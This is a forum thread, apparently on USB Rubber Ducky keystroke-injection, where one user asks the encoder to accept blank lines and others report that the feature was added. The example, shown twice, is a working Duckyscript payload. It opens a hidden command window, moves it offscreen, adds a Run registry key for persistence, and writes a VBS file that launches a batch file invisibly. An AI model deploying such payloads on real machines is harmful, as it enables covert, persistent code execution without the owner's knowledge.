overwraith Posted April 25, 2013 Share Posted April 25, 2013 (edited) It would be nice to be able to insert white space into duck script, so that commands could be grouped together, and would be easier to read. Here is an example. Just a suggestion to anyone who is doing the encoders. I'm thinking that the encoder could just throw away blank lines during processing. Grouped: REM By overwraith REM GenericBatch.txt REM Encoder V2.4 REM Target: WINDOWS VISTA/7 REM ADMIN PRIVILEGES REM PURPOSE: to create a script that types in a generic batch file and executes siletntly. REM Using the run command for a broader OS base. DELAY 3000 GUI R DELAY 1000 STRING cmd /Q /D /T:7F /F:OFF /V:ON /K DELAY 500 ENTER DELAY 750 ALT SPACE STRING M DOWNARROW REPEAT 100 ENTER REM Make batch file. REM Delete batch file if already exists. STRING erase /Q batch.bat ENTER REM Make the batch file. STRING copy con batch.bat ENTER REM Copy current program to another location. STRING COPY %0 %TEMP% ENTER REM Registry key that restarts script on reboot. STRING REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d "wscript.exe %TEMP%\invis.vbs %TEMP%\batch.bat" /f ENTER REM Continue batch file contents here. . . CONTROL z ENTER REM Make the VBS file that allows running invisibly. REM Delete vbs file if already exists STRING erase /Q invis.vbs ENTER REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up STRING copy con invis.vbs ENTER STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False ENTER CONTROL Z ENTER STRING wscript.exe invis.vbs batch.bat ENTER STRING EXIT ENTER Not Grouped: REM By overwraith REM GenericBatch.txt REM Encoder V2.4 REM Target: WINDOWS VISTA/7 REM ADMIN PRIVILEGES REM PURPOSE: to create a script that types in a generic batch file and executes siletntly. REM Using the run command for a broader OS base. DELAY 3000 GUI R DELAY 1000 STRING cmd /Q /D /T:7F /F:OFF /V:ON /K DELAY 500 ENTER DELAY 750 ALT SPACE STRING M DOWNARROW REPEAT 100 ENTER REM Make batch file. REM Delete batch file if already exists. STRING erase /Q batch.bat ENTER REM Make the batch file. STRING copy con batch.bat ENTER REM Copy current program to another location. STRING COPY %0 %TEMP% ENTER REM Registry key that restarts script on reboot. STRING REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d "wscript.exe %TEMP%\invis.vbs %TEMP%\batch.bat" /f ENTER REM Continue batch file contents here. . . CONTROL z ENTER REM Make the VBS file that allows running invisibly. REM Delete vbs file if already exists STRING erase /Q invis.vbs ENTER REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up STRING copy con invis.vbs ENTER STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False ENTER CONTROL Z ENTER STRING wscript.exe invis.vbs batch.bat ENTER STRING EXIT ENTER Edited April 25, 2013 by overwraith Quote Link to comment Share on other sites More sharing options...
ApacheTech Consultancy Posted April 25, 2013 Share Posted April 25, 2013 This is something I'm writing into the next version. I'm just waiting until after my exams to work on it fully. Quote Link to comment Share on other sites More sharing options...
no42 Posted May 2, 2013 Share Posted May 2, 2013 Done, on the v2 branch. Version 2.6 should be available for download in the usual place. Quote Link to comment Share on other sites More sharing options...
overwraith Posted May 3, 2013 Author Share Posted May 3, 2013 Awesome! Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.